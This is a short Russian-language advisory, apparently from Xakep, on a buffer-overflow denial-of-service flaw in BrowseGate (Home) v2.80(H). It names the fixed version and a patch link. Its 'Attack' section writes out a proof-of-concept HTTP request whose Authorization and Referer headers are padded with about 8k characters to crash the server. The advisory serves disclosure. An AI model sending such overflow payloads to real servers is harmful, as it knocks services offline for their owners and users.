Дырка в BrowseGate -> DoS (Authorization, Referer)

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Delphis Consulting Internet Security Team (DCIST) обнаружила прореху в безопасности в Browsegate, которая позволяет хакеру вызвать переполнение буфера с последующим дауном. 🙂

Системы уязвимы:
BrowseGate (Home) v2.80(H)

Системы не подверженные багу:
BrowseGate (Home) v2.80.001(H)

Атака:
Законнектитесь к 80 порту и отправьте следующее:

GET / HTTP/1.0<cr>

Authorization: Basic(A x 8k)<cr>

From: dcist@delphisplc.com<cr>

If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT<cr>

Referer: http://www.delphisplc.com/(A x 8k)<cr>

UserAgent: DCIST Browser 1.1<cr>

<cr><cr>

Решение:
Скачай патч 🙂
http://www.netcplus.com/browsegate.htm